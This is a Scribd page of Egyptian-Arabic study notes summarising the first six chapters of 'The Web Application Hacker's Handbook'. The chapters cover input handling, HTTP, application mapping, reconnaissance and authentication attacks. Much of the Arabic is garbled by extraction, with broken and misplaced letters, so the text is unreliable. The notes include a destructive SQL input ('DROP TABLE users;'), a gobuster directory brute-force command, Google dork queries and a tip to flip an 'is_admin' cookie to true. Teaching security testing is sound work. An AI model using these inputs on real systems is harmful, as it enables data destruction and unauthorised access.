0% found this document useful (0 votes)
1K views61 pages

The Web App Hacker Handbook

Uploaded by

pentest.b24
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
1K views61 pages

The Web App Hacker Handbook

Uploaded by

pentest.b24
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 61

‫‪The web application‬‬

‫‪hacker's handbook‬‬
‫الفصل األول‪ :‬أمن تطبيقات الويب ( ‪Web Application‬‬
‫‪)(In)security‬‬
‫اعتبه مقدمه للكتاب‬
‫الفصل ده ر‬
‫‪ .1‬تطور تطبيقات الويب‬
‫ً‬
‫‪ ‬زمان‪ ،‬مواقع الويب كانت بسيطة جدا‪ ،‬عبارة عن صفحات ثابتة‬
‫(‪.)Static Websites‬‬
‫‪ ‬المستخدم يدخل يقرأ معلومات‪ ،‬مفيش تسجيل دخول وال‬
‫معامالت‪.‬‬
‫بالمستخدمي‪.‬‬
‫ر‬ ‫بالسيفر نفسه‪ ،‬مش‬
‫ر‬ ‫أمن كان مرتبط‬
‫‪ ‬أي تهديد ي‬
‫اتغيت!‬
‫دلوقن‪ ،‬األمور ر‬
‫ي‬ ‫‪‬‬

‫‪ ‬بقت المواقع تطبيقات تفاعلية ( ‪Dynamic Web‬‬


‫‪ )Applications‬فيها تسجيل دخول‪ ،‬رشاء‪ ،‬ورفع ملفات‪.‬‬
‫‪ ‬التطبيق مش بس بيعرض بيانات‪ ،‬ده كمان بيتعامل مع بيانات‬
‫ً‬
‫جدا زي كلمات الرس وأرقام بطاقات االئتمان‪.‬‬ ‫حساسة‬
‫‪ ‬الشكل بق زي البنوك أونالين‪ ،‬التجارة اإللكيونية‪ ،‬وحن‬
‫الشبكات االجتماعية‪.‬‬
‫إيه المشكلة؟‬
‫كل ما التطبيق بق معقد أكي‪ ،‬زادت احتماالت وجود ثغرات أمنية‪.‬‬

‫‪ .2‬المشكلة األساسية يف أمان تطبيقات الويب‬


‫ه‪" :‬المستخدم يقدر يدخل أي بيانات عشوائية"‪.‬‬ ‫المشكلة الحقيقية ي‬
‫الل‬
‫كاف للبيانات ي‬‫يعن إيه؟ الموقع ممكن يكون مش بيعمل فحص ي‬ ‫ي‬ ‫‪‬‬

‫المستخدمي بيدخلوها‪.‬‬
‫ر‬
‫‪ ‬مثال‪:‬‬
‫غي ما يتأكد إذا كانت‬‫‪ ‬فورم تسجيل دخول يقبل أي حاجة من ر‬
‫البيانات دي صح أو أل‪.‬‬
‫‪ ‬لو المهاجم دخل كود ضار بدل البيانات (زي ‪DROP‬‬
‫‪ ،);TABLE users‬الكود ده ممكن يدمر قاعدة البيانات!‬
‫ليه دي مشكلة ضخمة؟‬
‫‪ ‬البيانات دي ممكن تتحول ألداة بيد المهاجم‪:‬‬
‫‪ ‬شقة الحسابات‪.‬‬
‫تدمي البيانات‪.‬‬
‫ر‬ ‫‪‬‬

‫وغيها من المخاطر‬ ‫المستخدمي اآلخرين‪ .‬ر‬


‫ر‬ ‫‪ ‬تنفيذ هجمات عل‬
‫‪ .3‬نقاط الضعف الشائعة يف تطبيقات الويب‬
‫محبف‬ ‫أ‪ .‬تطوير غب ر‬
‫ر‬
‫مجي مش بيكونوا‬ ‫المي ر‬
‫وكتي من ر‬ ‫ً‬
‫داخليا‪ ،‬ر‬ ‫‪ ‬أغلب التطبيقات بتتطور‬
‫خياء يف األمان‪.‬‬
‫ر‬
‫ب‪ .‬اتصال بالخوادم الداخلية‬
‫‪ ‬التطبيقات دي عادة متصلة بأنظمة داخلية زي قواعد بيانات‬
‫الرسكات‪.‬‬ ‫ر‬
‫ً‬
‫جدا‪.‬‬ ‫‪ ‬لو حصل اخياق‪ ،‬ممكن يفتح الباب للوصول لبيانات حساسة‬
‫ج‪ .‬البيئة المفتوحة‬
‫معروفي‪.‬‬
‫ر‬ ‫كتي ومش‬
‫مستخدمي ر‬
‫ر‬ ‫‪ ‬تطبيقات الويب بتتعامل مع‬
‫‪ ‬أي حد يقدر يدخل ويحاول يكتشف ثغرات‪.‬‬

‫‪ .4‬أمثلة عىل التهديدات األمنية‬


‫المستخدمي‪:‬‬
‫ر‬ ‫‪ .1‬رسقة بيانات‬
‫المستخدمي وكلمات الرس أو بيانات الكروت‪.‬‬
‫ر‬ ‫زي شقة أسماء‬ ‫‪‬‬

‫المال‪:‬‬
‫ي‬ ‫‪ .2‬االحتيال‬
‫‪ ‬زي تحويل األموال ربي الحسابات بدون إذن‪.‬‬
‫‪ .3‬تنفيذ أكواد ضارة‪:‬‬
‫المستخدمي‪.‬‬
‫ر‬ ‫زي إدخال ‪ JavaScript‬خبيث ينفذ عل أجهزة‬ ‫‪‬‬

‫‪ .5‬المستقبل يف أمان تطبيقات الويب‬


‫ً‬
‫تعقيدا كل يوم‪ ،‬ومعاها التهديدات‪.‬‬ ‫‪ ‬تطبيقات الويب بييد‬
‫كي عل التطوير اآلمن وتطبيق أفضل ممارسات األمان‬ ‫الحل؟ الي ر‬ ‫‪‬‬

‫من البداية‪.‬‬

‫ملخص رسي ع بالفهم البسيط‬


‫‪ ‬التطبيقات القديمة كانت زي "لوحة إعالنات"‪ ،‬محدش يقدر يأذيها‬
‫بسهولة‪.‬‬
‫‪ ‬التطبيقات الحديثة بقت زي خزنة فلوس مليانة كنوز‪ ،‬وكل مهاجم‬
‫بيحاول يرسقها‪.‬‬
‫‪ ‬لو ما اتأكدناش من المدخالت‪ ،‬المهاجم هيستغلها ويدخل الخزنة‬
‫دي‪.‬‬

‫كده يا باشا إحنا فهمنا إن األساس يف أمن تطبيقات الويب هو التأكد من‬
‫كل حاجة المستخدم بيعملها‪ ،‬عشان ما نديش فرصة ألي حد يستغلها‪.‬‬
‫الثان‪( Core Defense Mechanisms :‬آليات الدفاع‬ ‫ي‬ ‫الفصل‬
‫األساسية)‬
‫بتحم نفسها باستخدام‬
‫ي‬ ‫ده الفصل ربيكز عل إزاي التطبيقات الويب‬
‫المستخدمي‪ ،‬معالجة المدخالت‪ ،‬والتعامل مع‬
‫ر‬ ‫آليات أساسية إلدارة‬
‫الهجمات‪.‬‬
‫المستخدمي (‪)Handling User Access‬‬ ‫ر‬ ‫‪ .1‬إدارة وصول‬
‫أ‪ .‬المصادقة (‪:)Authentication‬‬
‫الل بيقول عليه‪.‬‬ ‫‪ ‬المصادقة بتضمن إن المستخدم هو الشخص ي‬
‫‪ ‬أمثلة عل طرق المصادقة‪:‬‬
‫‪ ‬كلمات الرس‪.‬‬
‫‪ ‬المصادقة الثنائية (‪.)Two-Factor Authentication‬‬
‫‪ ‬الشهادات الرقمية‪.‬‬
‫ب‪ .‬إدارة الجلسات (‪:)Session Management‬‬
‫‪ ‬كل مستخدم ليه جلسة فريدة بتبدأ بمجرد تسجيل دخوله‪.‬‬
‫الل بيتخزن‬
‫الجلسة بتستخدم "رمز جلسة" (‪ )Session Token‬ي‬ ‫‪‬‬

‫الكوكي‪.‬‬
‫ر‬ ‫ً‬
‫غالبا يف‬
‫‪ ‬مشاكل شائعة‪:‬‬
‫للتخمي‪.‬‬
‫ر‬ ‫‪ ‬الرموز الضعيفة أو القابلة‬
‫المدار بشكل صحيح‪.‬‬ ‫غي ُ‬‫‪ ‬انتهاء الجلسة ر‬
‫ج‪ .‬التحكم يف الوصول (‪:)Access Control‬‬
‫يعدل الموارد‪.‬‬‫ّ‬
‫مي يقدر يشوف أو‬‫‪ ‬التحكم يف الوصول بيحدد ر‬
‫األساسيي‪:‬‬
‫ر‬ ‫النوعي‬
‫ر‬ ‫‪‬‬

‫المستخدمي من الوصول إىل‬ ‫األفق (‪ :)Horizontal‬منع‬‫ر‬


‫ر‬ ‫ي‬ ‫‪‬‬

‫مستخدمي آخرين‪.‬‬
‫ر‬ ‫موارد‬
‫المستخدمي من الوصول إىل موارد‬ ‫ر‬ ‫أس (‪ :)Vertical‬منع‬‫‪ ‬الر ي‬
‫إدارية‪.‬‬

‫المستخدمي (‪)Handling User Input‬‬


‫ر‬ ‫‪ .2‬التعامل مع مدخالت‬
‫أ‪ .‬تنوع المدخالت‪:‬‬
‫‪ ‬المدخالت ممكن تكون‪:‬‬
‫‪ ‬نصوص يف الحقول‪.‬‬
‫‪ ‬بيانات يف الـ ‪.URL‬‬
‫‪ ‬ملفات مرفوعة‪.‬‬
‫كوكي أو هيدرز ‪.HTTP‬‬‫ر‬ ‫‪‬‬

‫ب‪ .‬طرق التعامل مع المدخالت‪:‬‬


‫مب (‪ :)Encoding‬تحويل المدخالت لتكون آمنة قبل‬ ‫ر‬
‫‪ ‬الب ر‬
‫استخدامها‪.‬‬
‫التحقق (‪ :)Validation‬التأكد إن المدخالت تتبع قواعد محددة‪.‬‬ ‫‪‬‬

‫‪ ‬التطبيع (‪ :)Canonicalization‬تحويل المدخالت إىل شكل‬


‫قياس قبل معالجتها‪.‬‬
‫ي‬
‫ج‪ .‬مشاكل شائعة‪:‬‬
‫غي ُمعالجة ممكن تؤدي إىل‪:‬‬
‫‪ ‬مدخالت ر‬
‫‪ ‬هجمات ‪.SQL Injection‬‬
‫‪ ‬ثغرات )‪.XSS (Cross-Site Scripting‬‬

‫‪ .3‬التعامل مع الهجمات (‪)Handling Attackers‬‬


‫أ‪ .‬التعامل مع األخطاء (‪:)Error Handling‬‬
‫ً‬
‫‪ ‬الرسائل المفصلة جدا عن األخطاء ممكن تكشف معلومات‬
‫حساسة‪.‬‬
‫الحل‪ :‬استخدام رسائل أخطاء عامة خطا يف اسم المستخدم او كلمه‬ ‫‪‬‬

‫في ‪.‬‬ ‫المرور بدون ما تحدد الخطا ر‬


‫ب‪ .‬سجالت التدقيق (‪:)Audit Logs‬‬
‫ً‬
‫المستخدمي لمراجعتها الحقا‪.‬‬
‫ر‬ ‫الل بيقوم بها‬
‫‪ ‬تتبع األنشطة ي‬
‫‪ ‬مهمة لتحديد الهجمات ومحاولة تعقب مصدرها‪.‬‬
‫المسؤولي (‪:)Alerting Administrators‬‬ ‫ر‬ ‫ج‪ .‬تنبيه‬
‫المسؤولي عند وجود‬
‫ر‬ ‫التطبيقات الزم تكون مجهزة بنظام إنذار ينبه‬ ‫‪‬‬

‫نشاط مشبوه‪.‬‬
‫د‪ .‬رد الفعل عىل الهجمات‪:‬‬
‫‪ ‬يمكن قفل الحساب بعد عدة محاوالت فاشلة‪.‬‬
‫غي عادي‪.‬‬
‫للمستخدمي لو حصل نشاط ر‬
‫ر‬ ‫إرسال تنبيهات‬ ‫‪‬‬

‫‪ .4‬إدارة التطبيق (‪)Managing the Application‬‬


‫الزم يكون يف عمليات مخصصة لصيانة التطبيق ومراقبته بشكل‬ ‫‪‬‬

‫دوري‪.‬‬
‫‪ ‬التحديثات األمنية المنتظمة بتمنع استغالل الثغرات‪.‬‬
‫ملخص الفصل‪:‬‬
‫‪ ‬التطبيقات بتعتمد عل عدة آليات لحماية نفسها‪:‬‬
‫المستخدمي‪.‬‬
‫ر‬ ‫‪ ‬مصادقة‬
‫‪ ‬إدارة الجلسات‪.‬‬
‫‪ ‬التحكم يف الوصول‪.‬‬
‫المستخدمي‪.‬‬
‫ر‬ ‫‪ ‬التعامل بحذر مع مدخالت‬
‫‪ ‬إنشاء نظام فعال للتعامل مع األخطاء والهجمات‪.‬‬
‫أسلوب تطبيق المعرفة‪:‬‬
‫لو عايز تطبق الكالم ده‪ ،‬جرب األدوات التالية‪:‬‬
‫‪ : Burp Suite ‬لتحليل كيفية تعامل التطبيقات مع المدخالت‪.‬‬
‫‪ :OWASP ZAP ‬الختبار أمان التطبيق ضد هجمات معروفة‪.‬‬
‫الفصل الثالث‪ :‬تقنيات تطبيقات الويب ( ‪Web Application‬‬
‫‪)Technologies‬‬
‫الل شغالة ورا الكواليس يف‬
‫دلوقن بق‪ ،‬هنغوص شوية يف التقنيات ي‬
‫ي‬
‫تطبيقات الويب‪ ،‬ونفهم إزاي بنستخدمها ونتعامل معاها‪ .‬كل ده بطريقة‬
‫بسيطة‪.‬‬

‫‪ .1‬ر‬
‫البوتوكول السحري‪HTTP :‬‬
‫السيفر (الخادم)‪.‬‬
‫الل بيكلم بيها المتصفح بتاعك ر‬
‫‪ HTTP‬هو اللغة ي‬
‫‪ ‬إزاي ده بيشتغل؟‬
‫‪ .1‬المتصفح بيطلب حاجة (‪ ،)request‬زي إنك عايز تشوف‬
‫بوست أو صورة‪.‬‬
‫الل طلبتها‪.‬‬
‫السيفر ربيد (‪ )response‬بالمعلومة ي‬
‫ر‬ ‫‪.2‬‬

‫أوامر )‪:HTTP (HTTP Methods‬‬


‫‪ :GET ‬عايز أجيب حاجة (زي صورة أو صفحة)‪.‬‬
‫‪ :POST ‬عايز أضيف أو أرسل حاجة (زي فورم تسجيل)‪.‬‬
‫‪ PUT ‬و ‪ :DELETE‬لتعديل أو حذف البيانات‪.‬‬
‫‪ .2‬الروابط (‪:)URLs‬‬
‫الل بيقودك ألي حاجة عل اإلنينت‪.‬‬‫الرابط هو العنوان ي‬
‫مثال‪:‬‬
‫‪https://www.example.com/page?user=ali‬‬
‫‪ :https ‬الطريقة اآلمنة لالتصال‪.‬‬
‫‪:www.example.com ‬‬
‫‪ ‬اسم الموقع‪.‬‬
‫الل عايزها‪.‬‬
‫‪ :page ‬الصفحة ي‬
‫للسيفر‪.‬‬
‫ر‬ ‫‪ :user=ali? ‬بيانات إضافية بتتبعت‬
‫الكوكب (‪)Cookies‬‬
‫ر‬ ‫الصغبة‪:‬‬
‫ر‬ ‫‪ .3‬الحلوى‬
‫صغية بيخزنها‬
‫ر‬ ‫كوكي مش بس حاجة بتتاكل 😋‪ ،‬دي كمان ملفات‬
‫ر‬
‫السيفر يفتكرك‪.‬‬
‫المتصفح عل جهازك عشان ر‬
‫‪ ‬مثال‪:‬‬
‫الكوكي بتخليك ما تضطرش تدخل‬
‫ر‬ ‫‪ ‬لما تسجل دخول وتخرج‪،‬‬
‫تان‪.‬‬
‫بياناتك ي‬
‫‪ .4‬أكواد الحاالت (‪:)Status Codes‬‬
‫الل حصل‪:‬‬ ‫السيفر بيبعت لك "كود" عشان يقولك إيه ي‬
‫ر‬
‫‪ :200 ‬كل حاجة تمام!‬
‫‪ :404 ‬الصفحة مش القيينها!‬
‫‪ :500 ‬مشكلة عند ر‬
‫السيفر‪.‬‬
‫‪:HTTPS vs HTTP .5‬‬
‫‪ :HTTP ‬عادي‪ ،‬مش مشفر‪.‬‬
‫‪ :HTTPS‬زي العربية المصفحة 🚔‪ ،‬بيأمن بياناتك أثناء التنقل‪.‬‬ ‫‪‬‬

‫السبفر ‪ (Server) vs‬العميل (‪:)Client‬‬ ‫ر‬ ‫‪.6‬‬


‫السبفر‪:‬‬
‫ر‬
‫الل بيشيل بيانات الموقع‪.‬‬
‫‪ ‬جهاز الكمبيوتر ي‬
‫الل بتحجز فيه أكلك‪.‬‬‫‪ ‬زي المطعم ي‬
‫العميل (‪:)Client‬‬
‫الل بيطلب األكل‪.‬‬
‫‪ ‬جهازك ي‬
‫ر‬
‫مب (‪:)Encoding‬‬ ‫‪ .7‬أكواد الب ر‬
‫‪ :URL Encoding‬بيحول الرموز الخاصة لحاجات مفهومة‬ ‫‪‬‬

‫للسيفر‪.‬‬
‫ر‬
‫‪ ‬مثال‪ " " :‬تتحول إىل ‪.20%‬‬
‫‪ :Base64 Encoding ‬لتحويل النصوص لرموز‪.‬‬
‫‪ .8‬الجلسات (‪:)Sessions‬‬
‫يميك‬
‫لما تسجل دخول‪ ،‬التطبيق بيعمل جلسة خاصة ليك عشان ر‬ ‫‪‬‬

‫تان‪.‬‬
‫عن أي حد ي‬
‫‪ :Session ID ‬زي البطاقة بتاعتك أثناء الجلسة‪.‬‬
‫ليه الكالم ده مهم؟‬
‫‪ ‬لو فاهم الكالم ده‪ ،‬هتعرف إزاي التطبيقات بتشتغل‪.‬‬
‫ده هيساعدك تكتشف المشاكل (الثغرات) وتفهم إزاي تصلحها‪.‬‬ ‫‪‬‬

‫الخالصة‪:‬‬
‫والكوكي‬
‫ر‬ ‫الل كل التطبيقات بتشتغل عليه‪،‬‬
‫‪ HTTP‬هو األساس ي‬
‫تمييك كمستخدم‪ .‬الفهم العميق للتقنيات دي‬‫والجلسات بيساعدوا يف ر‬
‫األخالف أو حن تطوير التطبيقات‪.‬‬
‫ي‬ ‫هو مفتاحك للهاكنج‬
‫الفصل الرابع‪ :‬رسم خريطة التطبيق (‪)Mapping the Application‬‬
‫الفصل ده يا نجم ربيكز عل واحدة من أهم الخطوات يف اختبارات اخياق‬
‫التطبيقات‪ :‬رسم خريطة كاملة للتطبيق‪ .‬زي لما تدخل مدينة جديدة‬
‫وعايز تعرف الشوارع واألماكن المهمة‪ ،‬هنا بنعمل نفس الحاجة‪ ،‬بس مع‬
‫التطبيقات ‪.‬‬

‫‪ .1‬ليه ببسم خريطة للتطبيق؟‬


‫‪ ‬الهدف إنك تفهم إزاي التطبيق بيشتغل‪ ،‬إيه الوظائف المتاحة‪،‬‬
‫بيحم نفسه‪.‬‬
‫ي‬ ‫وإزاي‬
‫الل ممكن تستهدفها‬ ‫لما ترسم الخريطة دي‪ ،‬هتقدر تحدد النقاط ي‬ ‫‪‬‬

‫وتالف فيها ثغرات‪.‬‬


‫ي‬
‫‪ .2‬خطوات رسم الخريطة‬
‫أ‪ .‬اكتشاف المحتوى والوظائف الظاهرة‪:‬‬
‫‪ .1‬تصفح يدوي للتطبيق‪:‬‬
‫ادخل كل صفحة‪ ،‬اضغط عل كل زر‪ ،‬واكتب أي حاجة‬ ‫‪‬‬

‫بتشوفها‪.‬‬
‫خد بالك من الوظائف المتعددة المراحل (زي تسجيل‬ ‫‪‬‬

‫المستخدم الجديد أو استعادة كلمة المرور)‪.‬‬


‫‪ .2‬استخدام أدوات البحث(‪:)Spidering Tools‬‬
‫آىل عل الروابط وتكتشف المحتوى‪.‬‬‫األدوات دي بتعمل زحف ي‬ ‫‪‬‬

‫‪ ‬أمثلة‪.Zed Attack Proxy (ZAP) ، Burp Suite :‬‬


‫‪ .3‬االستفادة من ملفات ‪: robots.txt‬‬
‫ً‬
‫‪ ‬الملف ده أحيانا بيكون فيه روابط حساسة بتقول رليامج‬
‫الزحف‪" :‬ما تجيش هنا"‪.‬‬
‫لمكتشق الثغرات! 😂‬
‫ي‬ ‫الغريب إن الروابط دي ممكن تكون كي‬ ‫‪‬‬

‫المخق‪:‬‬
‫ي‬ ‫ب‪ .‬اكتشاف المحتوى‬
‫‪:Brute Force .1‬‬
‫جرب أسماء شائعة للملفات أو األدلة (زي ‪،login ،admin‬‬ ‫‪‬‬

‫‪.)debug‬‬
‫أدوات زي ‪ Burp Intruder‬بتساعدك تعمل ده بسهولة‪.‬‬ ‫‪‬‬

‫‪ .2‬تحليل أكواد ‪ HTML‬و‪:JavaScript‬‬


‫تالف تعليقات بتكشف عن روابط أو وظائف مش‬ ‫‪ ‬ممكن ي‬
‫معروضة عل الموقع‪.‬‬
‫‪ .3‬استخدام القوائم الموجهة‪:‬‬
‫‪ ‬لو التطبيق عنده طريقة تسمية معينة (زي ‪،AddUser‬‬
‫‪ ،)EditUser‬جرب أسماء مشابهة‪.‬‬

‫‪ .3‬التحليل والتقييم‬
‫أ‪ .‬تحديد نقاط إدخال البيانات‪:‬‬
‫أي مكان المستخدم بيقدر يدخل بياناته‪:‬‬ ‫‪‬‬

‫‪ ‬الروابط (‪.)URLs‬‬
‫‪ ‬الحقول يف النماذج‪.‬‬
‫الكوكي‪.‬‬
‫ر‬ ‫‪‬‬

‫‪ ‬رؤوس الطلبات (‪.)Headers‬‬


‫ب‪ .‬تحليل التقنيات المستخدمة‪:‬‬
‫عىل جانب العميل (‪:)Client-Side‬‬ ‫‪‬‬

‫الكوكي‪.‬‬
‫ر‬ ‫‪،JavaScript ،HTML ‬‬
‫عىل جانب الخادم (‪:)Server-Side‬‬ ‫‪‬‬

‫اليمجة زي ‪.ASP.NET ،PHP‬‬ ‫لغات ر‬ ‫‪‬‬

‫‪ ‬التعامل مع قواعد البيانات‪.‬‬

‫‪ .4‬بناء الخريطة‬
‫أ‪ .‬تحديد المسارات الوظيفية‪:‬‬
‫الل موجودة‬‫بدل ما تركز عل الصفحات بس‪ ،‬شوف إيه الوظائف ي‬ ‫‪‬‬

‫(زي تسجيل الدخول‪ ،‬تحويل األموال)‪.‬‬


‫‪ ‬مثال‪:‬‬
‫‪transferFunds/ >- dashboard/ >- login/ ‬‬
‫ب‪ .‬تحديد نقاط الهجوم المحتملة‪:‬‬
‫الل ممكن تسبب مشاكل ( ‪.)XSS ،SQL Injection‬‬‫المدخالت ي‬ ‫‪‬‬

‫الل ما بتتأكدش من هوية المستخدم‪.‬‬


‫‪ ‬الصفحات ي‬
‫‪ .5‬أدوات مفيدة‪:‬‬
‫‪:Burp Suite Pro .1‬‬
‫ويختي االستجابات‪.‬‬
‫ر‬ ‫بيعمل خريطة شاملة للموقع‬ ‫‪‬‬

‫‪:Dirbuster .2‬‬
‫‪ ‬الكتشاف األدلة والملفات المخفية‪.‬‬
‫‪:OWASP ZAP .3‬‬
‫‪ ‬أداة مفتوحة المصدر الختبار أمان التطبيقات‪.‬‬
‫‪ .6‬نصائح ذهبية لرسم خريطة ناجحة‪:‬‬
‫الل بتظهر يف الصفحات‪.‬‬
‫الصغية زي األخطاء ي‬
‫ر‬ ‫ركز عل كل التفاصيل‬ ‫‪‬‬
‫‪ ‬لو لقيت صفحة مخفية أو وظيفة إضافية‪ ،‬جرب تستغلها!‬
‫‪ ‬استخدم أدوات أوتوماتيكية‪ ،‬لكن ال تهمل العمل اليدوي‪.‬‬
‫الخالصة‪:‬‬
‫رسم خريطة التطبيق هو الخطوة األوىل واألساسية يف أي اختبار اخياق‪.‬‬
‫كل ما كانت الخريطة دقيقة وشاملة‪ ،‬كل ما زادت فرصتك يف اكتشاف‬
‫ثغرات قوية‪.‬‬
‫الفصل الخامس‪ :‬استكشاف تطبيق الويب ( ‪Web Hacking‬‬
‫‪🎉🎯 )Reconnaissance‬‬
‫حوالي إزاي تبدأ تكتشف الهدف بتاعك‬
‫ر‬ ‫طيب‪ ،‬الفصل ده بيدور‬

‫‪ .1‬ليه التجسس مهم؟ ️🕵️♂‬


‫قبل ما تهجم عل أي هدف‪ ،‬الزم تفهمه األول! زي ما حد بيشيي عربية‬
‫جديدة‪ ،‬الزم يعرف كل حاجة عنها‪ ،‬مش بس لونها‪.‬‬
‫‪ ‬التجسس (‪ )Recon‬بيقولك‪:‬‬
‫‪ ‬التطبيق ده بيشتغل إزاي؟‬
‫في الحاجات المهمة فيه؟‬
‫‪ ‬ر‬
‫الل ممكن يكون نقطة ضعف؟‬ ‫‪ ‬إيه ي‬
‫‪ .2‬خطوات شغل المحقق (‪ )Recon‬خطوة بخطوة‪:‬‬
‫الخطوة ‪ :1‬التصفح اليدوي ️🖱‬
‫‪ ‬افتح التطبيق وشوف الدنيا ماشية إزاي‪.‬‬
‫‪ ‬جرب تدخل كل الصفحات‪.‬‬
‫‪ ‬اضغط عل كل زر‪.‬‬
‫سجل أي حاجة غريبة‪" :‬ليه الصفحة دي بتاخد وقت‬ ‫‪‬‬

‫الل شكله مريب؟"‪.‬‬ ‫أطول؟" أو "إيه الحقل ده ي‬


‫💡 نصيحة محقق‪:‬‬
‫لما تشوف رابط فيه ?‪ ،user=123‬قول لنفسك‪" :‬طب إيه ي‬
‫الل هيحصل‬
‫غيت الـ‪123‬؟" 😏‬
‫لو ر‬
‫الخق ️🕳‬
‫ي‬ ‫الخطوة ‪ :2‬أدوات البحث عن المحتوى‬
‫كتي بتكون مخبية صفحات أو ملفات‪ ،‬وإنت شغلتك تالقيها‪.‬‬
‫‪ ‬مواقع ر‬
‫‪ ‬جرب أدوات زي ‪ DirBuster‬أو ‪.Gobuster‬‬
‫‪ ‬دور عل حاجات زي‪:‬‬
‫‪admin/ ‬‬
‫‪backup.zip/ ‬‬
‫‪/debug/ ‬‬
‫عمىل‪:‬‬
‫ي‬ ‫مثال‬
‫‪gobuster dir -u https://example.com -w /path/to/wordlist‬‬
‫💡 مفاجأة‪:‬‬
‫تالف ملف اسمه ‪🎉 !database_dump.sql. Jackpot‬‬ ‫تخيل ي‬
‫الخطوة ‪ :3‬اللعب مع ‪🔎 Google Dorking‬‬
‫‪ ‬جوجل مش مجرد محرك بحث‪ ،‬ده كي للمعلومات‪.‬‬
‫‪ ‬دور عل حاجات زي‪:‬‬
‫‪site:example.com filetype:pdf ‬‬
‫‪inurl:admin ‬‬
‫صغبة‪:‬‬
‫ر‬ ‫💡 حكاية‬
‫مرة واحد لق صفحة إدارة كاملة عشان نسيوا يخفوا الرابط بتاعها‪ .‬جوجل‬
‫كشفها بكل بساطة! 😂‬

‫الخطوة ‪ :4‬تحليل شهادات ‪🔐 SSL‬‬


‫شهادات ‪ SSL‬ممكن تكشف لك عن أسماء نطاقات مرتبطة‪.‬‬ ‫‪‬‬
‫استخدم مواقع زي ‪.crt.sh‬‬ ‫‪‬‬

‫الخطوة ‪ :5‬استخدام أدوات البحث ️🕷‬


‫الل يكتشف الصفحات والروابط زي‬
‫شغل الزاحف (‪ )Spider‬ي‬ ‫‪‬‬
‫سوبرمان بيدور عل ر‬
‫األشار‪.‬‬
‫‪ ‬أدوات زي ‪ Burp Suite‬و‪ ZAP‬هتعمل ده‪.‬‬

‫تبق يف جيبك 🧙️♂‬ ‫‪ .3‬أدوات سحرية الزم ر‬


‫‪ :Burp Suite‬أهم أداة ألي هاكر‪ .‬بتساعدك تعيض الطلبات‬ ‫‪‬‬

‫وتلعب فيها‪.‬‬
‫‪ :Sublist3r ‬الكتشاف النطاقات الفرعية‪.‬‬
‫‪ :Amass ‬لتحليل أوسع للنطاقات‪.‬‬

‫بالكوكب والهيدرز 🍪‬
‫ر‬ ‫‪ .4‬اللعب‬
‫الكوكي مش بس حاجة بتتاكل‪ ،‬دي كمان بتساعدك تفهم المستخدم‬
‫ر‬ ‫‪‬‬

‫إزاي بيتعامل مع التطبيق‪.‬‬


‫تغي القيم وشوف التطبيق هيعمل إيه‪.‬‬
‫‪ ‬جرب ر‬
‫‪ ‬بدل ‪ is_admin=false‬جرب ‪😏 .is_admin=true‬‬
‫ر‬
‫في‪:‬‬‫‪ .5‬عادات المحب ر‬
‫‪ ‬سجل كل حاجة‪.‬‬
‫الل هيحصل لو لعبت هنا؟"‬ ‫إيه‬ ‫"طب‬ ‫‪:‬‬‫نفسك‬ ‫اسأل‬ ‫ا‬ ‫ً‬
‫دايم‬ ‫‪‬‬
‫ي‬
‫خل مخك شغال بطريقة المثلث‪ :‬جمع معلومات ‪ >-‬تحليل ‪>-‬‬ ‫ي‬ ‫‪‬‬

‫هجوم‪.‬‬
‫الخالصة‪:‬‬
‫الفصل ده كله عن إنك تعرف هدفك زي كف إيدك‪ .‬كل ما كنت محقق‬
‫الل محدش شايفها‪ .‬فاكر‪ :‬النجاح يف‬
‫هتالف الكنوز ي‬
‫ي‬ ‫شاطر‪ ،‬كل ما‬
‫للياء يف ‪✨💰 !Bug Bounty‬‬ ‫التفاصيل‪ ،‬والتفاصيل ه طريقك ر‬
‫ي‬
‫ين شغلك! 😄‬ ‫يال‪ ،‬انطلق وور ي‬
‫الفصل السادس‪ :‬مهاجمة أنظمة المصادقة ( ‪Attacking‬‬
‫‪💻🎭 )Authentication‬‬
‫هنا بنخش يف واحدة من أهم وأكي المناطق حساسية يف تطبيقات الويب‪:‬‬
‫أنظمة المصادقة! زي ما يكون عندك قفل عل باب بيتك‪ ،‬لو القفل ده‬
‫ضعيف أو فيه غلطة‪ ،‬أي حد ممكن يدخل‪ .‬يال بينا نعرف أكي ونتعلم!‬
‫‪ .1‬ليه المصادقة مهمة؟‬
‫‪ ‬نظام المصادقة هو خط الدفاع األول ألي تطبيق‪ .‬لو الهاكر قدر‬
‫يكرسه‪ ،‬يبق عنده مفتاح البيت كله!‬
‫الل بيحاول يدخل هو الشخص المرصح له‬ ‫‪ً ‬الهدف هو التأكد إن ي‬
‫فعال‪ ،‬سواء باسمه وكلمة الرس‪ ،‬أو بطريقة تانية زي بصمة اإلصبع أو‬
‫الكود المرسل للموبايل‪.‬‬

‫‪ .2‬نقاط الضعف الشائعة يف أنظمة المصادقة‬


‫أ‪ .‬كلمات المرور الضعيفة (‪:)Weak Passwords‬‬
‫المستخدمي بيختاروا كلمات ش بسيطة زي "‪ "123456‬أو‬
‫ر‬ ‫‪ ‬بعض‬
‫"‪ ،"password‬وده زي إنك تحط مفتاح بيتك تحت الممسحة!‬
‫(تخمي‬
‫ر‬ ‫‪ ‬الهاكر بيستغل ده باستخدام هجمات مثل ‪Brute Force‬‬
‫كلمة الرس)‪.‬‬
‫ب‪ .‬رسائل الخطأ المفصلة (‪:)Verbose Failure Messages‬‬
‫‪ ‬لو التطبيق قالك‪:‬‬
‫‪" ‬اسم المستخدم غلط"‬
‫‪ ‬أو "كلمة المرور غلط"‪،‬‬
‫كده بتساعد الهاكر يعرف لو اسم المستخدم صحيح‪ ،‬ويكمل‬
‫شغله!‬
‫ج‪ .‬الوظائف اإلضافية الضعيفة‪:‬‬
‫‪ ‬وظائف زي‪:‬‬
‫‪ ‬نسيت كلمة المرور؟‬
‫تغيب كلمة المرور‪.‬‬
‫ر‬ ‫‪‬‬

‫‪ ‬لو مش معمولها حماية كويسة‪ ،‬الهاكر ممكن يستغلها للدخول‪.‬‬


‫تشفب (‪:)Unencrypted Transmission‬‬ ‫ر‬ ‫د‪ .‬نقل البيانات بدون‬
‫‪ ‬لو بيانات تسجيل الدخول بتتبعت عادي بدون ‪ ،HTTPS‬الهاكر‬
